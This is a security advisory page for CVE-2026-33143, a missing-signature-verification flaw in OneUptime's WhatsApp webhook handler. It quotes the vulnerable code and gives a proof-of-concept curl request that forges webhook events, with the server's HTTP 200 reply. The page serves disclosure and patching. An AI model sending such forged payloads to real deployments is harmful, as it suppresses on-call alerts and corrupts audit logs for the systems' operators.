CVE-2026-33143: OneUptime WhatsApp Webhook Missing Signature Verification
Summary The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails.
Published Mar 18, 2026 · Updated Mar 20, 2026
Affected packages
oneuptime
- Ecosystem
- npm
- Affected
- < 10.0.34
- Fixed in
- 10.0.34
- Check
npm ls oneuptime
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The WhatsApp POST webhook handler (/notification/whatsapp/webhook) processes incoming status update events without verifying the Meta/WhatsApp X-Hub-Signature-256 HMAC signature, allowing any unauthenticated attacker to send forged webhook payloads that manipulate notification delivery status records, suppress alerts, and corrupt audit trails. The codebase already implements proper signature verification for Slack webhooks.
Details
Vulnerable code — `App/FeatureSet/Notification/API/WhatsApp.ts` lines 372-430:
router.post(
"/webhook",
async (req: ExpressRequest, res: ExpressResponse, next: NextFunction) => {
try {
const body: JSONObject = req.body as JSONObject;
// NO signature verification! No X-Hub-Signature-256 check!
if (
(body["object"] as string | undefined) !== "whatsapp_business_account"
) {
return Response.sendEmptySuccessResponse(req, res);
}
const entries: JSONArray | undefined = body["entry"] as JSONArray | undefined;
// ... processes entries and updates WhatsApp log status recordsCompare with the Slack webhook which correctly validates signatures:
`Common/Server/Middleware/SlackAuthorization.ts` line 58:
const isValid = crypto.timingSafeEqual(
Buffer.from(computedSignature),
Buffer.from(slackSignature)
);The WhatsApp GET webhook correctly validates the verify token — only the POST handler (which processes actual events) is missing signature verification.
No existing CVEs cover webhook signature verification issues in OneUptime. The closest is GHSA-cw6x-mw64-q6pv (WhatsApp Resend Verification Auth Bypass), which is about a different WhatsApp-related authorization issue.
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
# Forge a delivery status update for any WhatsApp notification — no auth, no signature
curl -sv -X POST http://TARGET:8080/api/notification/whatsapp/webhook \
-H "Content-Type: application/json" \
-d '{
"object": "whatsapp_business_account",
"entry": [{
"id": "FAKE_WABA_ID",
"changes": [{
"value": {
"messaging_product": "whatsapp",
"metadata": {
"display_phone_number": "+15550000000",
"phone_number_id": "FAKE_PHONE_ID"
},
"messages": [{
"from": "15551234567",
"id": "wamid.FAKE",
"timestamp": "1234567890",
"text": {"body": "INJECTED_MESSAGE"},
"type": "text"
}]
},
"field": "messages"
}]
}]
}'Docker validation (oneuptime/app:release, APP_VERSION=10.0.23):
< HTTP/1.1 200 OK
{}- Fake WhatsApp webhook payload accepted with HTTP 200
- No
X-Hub-Signature-256header provided — no signature verification at all - Attacker can inject arbitrary inbound WhatsApp messages and forge delivery status updates
Impact
Any unauthenticated remote attacker can forge WhatsApp webhook events:
- False delivery status: Mark undelivered WhatsApp notifications as "delivered", hiding delivery failures from administrators
- Alert suppression: Critical on-call notifications that failed to deliver appear successful, preventing escalation
- Log manipulation: WhatsApp notification logs updated with forged status data, corrupting audit trails
- Incident response disruption: During active incidents, forging "delivered" statuses prevents the system from retrying failed notification deliveries
Credited to n0rv-TvT.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-33142
OneUptime ClickHouse vulnerable to SQL Injection via unvalidated column identifiers in sort, select, and groupBy parameters
high8.1Mar 18, 2026CVE-2026-32306
OneUptime ClickHouse SQL Injection via Aggregate Query Parameters
critical9.9Mar 13, 2026CVE-2026-32308
OneUptime: Stored XSS via Mermaid Diagram Rendering (securityLevel: "loose")
high7.6Mar 13, 2026CVE-2026-32598
OneUptime: Password Reset Token Logged at INFO Level
medium6.9Mar 13, 2026
